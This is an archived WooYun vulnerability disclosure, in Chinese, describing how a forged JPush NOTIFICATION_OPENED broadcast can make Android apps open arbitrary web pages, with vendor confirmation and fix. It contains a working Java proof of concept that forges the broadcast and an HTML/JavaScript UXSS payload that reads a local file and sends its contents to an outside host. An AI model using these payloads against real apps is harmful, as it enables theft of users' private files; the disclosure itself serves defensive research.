当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0138620

漏洞标题:极光推送错误实现可能导致某些安全风险

相关厂商:jpush.cn

漏洞作者: 么么哒

提交时间:2015-09-02 15:37

修复时间:2015-12-05 10:30

公开时间:2015-12-05 10:30

漏洞类型:远程代码执行

危害等级:低

自评Rank:1

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-02: 细节已通知厂商并且等待厂商处理中
2015-09-06: 厂商已经确认,细节仅向厂商公开
2015-09-09: 细节向第三方安全合作伙伴开放
2015-10-31: 细节向核心白帽子及相关领域专家公开
2015-11-10: 细节向普通白帽子公开
2015-11-20: 细节向实习白帽子公开
2015-12-05: 细节向公众公开

简要描述:

极光推送错误实现可能导致某些安全风险

详细说明:

极光推送 api 中有一种广播 cn.jpush.android.intent.NOTIFICATION_OPENED 可以用于打开 Activity
官方关于此广播的配置与解释如下
Action - cn.jpush.android.intent.NOTIFICATION_OPENED
用户点击了通知。
一般情况下,用户不需要配置此 receiver action。
如果开发者在 AndroidManifest.xml 里未配置此 receiver action,那么,SDK 会默认打开应用程序的主 Activity,相当于用户点击桌面图标的效果。
如果开发者在 AndroidManifest.xml 里配置了此 receiver action,那么,当用户点击通知时,SDK 不会做动作。开发者应该在自己写的 BroadcastReceiver 类里处理,比如打开某 Activity 。
http://docs.jpush.io/guideline/android_guide/
http://docs.jpush.io/client/android_api/#receiver

<!-- User defined. 用户自定义的广播接收器-->
<receiver
android:name="您自己定义的Receiver"
android:enabled="true">
<intent-filter>
<!--Required 用户注册SDK的intent-->
<action android:name="cn.jpush.android.intent.REGISTRATION" />
<action android:name="cn.jpush.android.intent.UNREGISTRATION" />
<!--Required 用户接收SDK消息的intent-->
<action android:name="cn.jpush.android.intent.MESSAGE_RECEIVED" />
<!--Required 用户接收SDK通知栏信息的intent-->
<action android:name="cn.jpush.android.intent.NOTIFICATION_RECEIVED" />
<!--Required 用户打开自定义通知栏的intent-->
<action android:name="cn.jpush.android.intent.NOTIFICATION_OPENED" />
<!--Optional 用户接受Rich Push Javascript 回调函数的intent-->
<action android:name="cn.jpush.android.intent.ACTION_RICHPUSH_CALLBACK" />
<!-- 接收网络变化 连接/断开 since 1.6.3 -->
<action android:name="cn.jpush.android.intent.CONNECTION" />
<category android:name="您应用的包名" />
</intent-filter>
</receiver>



代码示例

public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getExtras();
Log.d(TAG, "onReceive - " + intent.getAction());
if (JPushInterface.ACTION_REGISTRATION_ID.equals(intent.getAction())) {
}else if (JPushInterface.ACTION_MESSAGE_RECEIVED.equals(intent.getAction())) {
System.out.println("收到了自定义消息。消息内容是:" + bundle.getString(JPushInterface.EXTRA_MESSAGE));
// 自定义消息不会展示在通知栏,完全要开发者写代码去处理
} else if (JPushInterface.ACTION_NOTIFICATION_RECEIVED.equals(intent.getAction())) {
System.out.println("收到了通知");
// 在这里可以做些统计,或者做些其他工作
} else if (JPushInterface.ACTION_NOTIFICATION_OPENED.equals(intent.getAction())) {
System.out.println("用户点击打开了通知");
// 在这里可以自己写代码去定义用户点击后的行为
Intent i = new Intent(context, TestActivity.class); //自定义打开的界面
i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(i);
} else {
Log.d(TAG, "Unhandled intent - " + intent.getAction());
}



http://docs.jpush.io/client/android_tutorials/
使用通知
请参考以下示例代码。

public class MyReceiver extends BroadcastReceiver {
private static final String TAG = "MyReceiver";

private NotificationManager nm;

@Override
public void onReceive(Context context, Intent intent) {
if (null == nm) {
nm = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
}

Bundle bundle = intent.getExtras();
Logger.d(TAG, "onReceive - " + intent.getAction() + ", extras: " + AndroidUtil.printBundle(bundle));

if (JPushInterface.ACTION_REGISTRATION_ID.equals(intent.getAction())) {
Logger.d(TAG, "JPush用户注册成功");

} else if (JPushInterface.ACTION_MESSAGE_RECEIVED.equals(intent.getAction())) {
Logger.d(TAG, "接受到推送下来的自定义消息");

} else if (JPushInterface.ACTION_NOTIFICATION_RECEIVED.equals(intent.getAction())) {
Logger.d(TAG, "接受到推送下来的通知");

receivingNotification(context,bundle);

} else if (JPushInterface.ACTION_NOTIFICATION_OPENED.equals(intent.getAction())) {
Logger.d(TAG, "用户点击打开了通知");

openNotification(context,bundle);

} else {
Logger.d(TAG, "Unhandled intent - " + intent.getAction());
}
}

private void receivingNotification(Context context, Bundle bundle){
String title = bundle.getString(JPushInterface.EXTRA_NOTIFICATION_TITLE);
Logger.d(TAG, " title : " + title);
String message = bundle.getString(JPushInterface.EXTRA_ALERT);
Logger.d(TAG, "message : " + message);
String extras = bundle.getString(JPushInterface.EXTRA_EXTRA);
Logger.d(TAG, "extras : " + extras);
}

private void openNotification(Context context, Bundle bundle){
String extras = bundle.getString(JPushInterface.EXTRA_EXTRA);
String myValue = "";
try {
JSONObject extrasJson = new JSONObject(extras);
myValue = extrasJson.optString("myKey");
} catch (Exception e) {
Logger.w(TAG, "Unexpected: extras is not a valid json", e);
return;
}
if (TYPE_THIS.equals(myValue)) {
Intent mIntent = new Intent(context, ThisActivity.class);
mIntent.putExtras(bundle);
mIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(mIntent);
} else if (TYPE_ANOTHER.equals(myValue)){
Intent mIntent = new Intent(context, AnotherActivity.class);
mIntent.putExtras(bundle);
mIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(mIntent);
}
}
}


----
也就是说如果按照上述实例配置了极光推送,就可以通过极光推送的广播打开一个 Activity 了.但是这个广播是可以伪造的,如果攻击者利用此广告就可能造成比如以下危害
- 代码执行
- 突然沙箱限制获取私有文件
- 绕过组件限制
...
下面是一个错误实现的实例

} else if (JPushInterface.ACTION_NOTIFICATION_OPENED.equals(intent
.getAction())) {
LogUtil.i("[MyReceiver] 用户点击打开了通知");
String extras = bundle.getString(JPushInterface.EXTRA_EXTRA);
if (!TextUtils.isEmpty(extras)) {
JSONObject customJson = null;
try {
customJson = new JSONObject(extras);
if (!customJson.isNull("url")) {
myvalue = customJson.getString("url");
}
if (!customJson.isNull("type")) {
mytype = customJson.getString("type");
}
if (!customJson.isNull("title")) {
mytitle = customJson.getString("title");
}
} catch (JSONException e) {
e.printStackTrace();
}
// 打开自定义的Activity
Intent i = new Intent(context, HtmlConeActivity.class);
i.putExtra(Constants.PARAMS_GETURL, myvalue);
i.putExtra(Constants.PARAMS_TYPE, mytype);
i.putExtra(Constants.PARAMS_GETITLE, mytitle);
i.putExtra("ts", "ts");
// i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK
| Intent.FLAG_ACTIVITY_CLEAR_TOP);
context.startActivity(i);
}


攻击 poc 如下,可以控制 app 打开任意网页

public void jpush(String url){
Intent intent = new Intent();
intent.setClassName("org.wooyun.test", "org.wooyun.test.receiver.MyReceiver");
intent.setAction("cn.jpush.android.intent.NOTIFICATION_OPENED");
Bundle bundle = new Bundle();
bundle.putString("cn.jpush.android.MSG_ID","1");
JSONObject jo = new JSONObject();
try {
jo.put("url",url);
jo.put("title","webview");
jo.put("type","test");
} catch (JSONException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
String test = jo.toString();
bundle.putString("cn.jpush.android.EXTRA",test);
intent.putExtras(bundle);
sendBroadcast(intent);
}



这样就可以结合一些系统漏洞(uxss/rce..)来窃取内部私有数据了,窃取本地文件的 poc 如下:
test.html

<button onclick="iframe.src='http://notfound/'">x</button><br>
<button onclick="exploit1()">Get local file!</button><br>
<script>
function exploit1() {
window.open('\u0000javascript:document.body.innerHTML="<script/src=http://site/test.js></scr"+"ipt><iframe src=file:/default.prop onload=exploit2() style=width:100%;height:1000px; name=test2></iframe>";','test');
}
</script>
<iframe src="http://m.baidu.com/" id="iframe" style="width:100%;height:1000px;" name="test"></iframe>


test.js

var flag = 0;
function exploit2(){
if(flag) {return}
window.open('\u0000javascript:location.replace("http://site/cross/test.php?test="+escape(document.body.innerHTML))','test2');
flag = 1;
}

漏洞证明:

localfile.png

修复方案:

版权声明:转载请注明来源 么么哒@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2015-09-06 10:29

厂商回复:

感谢指出实现问题。

最新状态:

2015-09-10:最新发布的1.8.1版本中,demo的AndroidManifest和实例AndroidManifest已经显式地将用户的Receiver exported属性设置为false。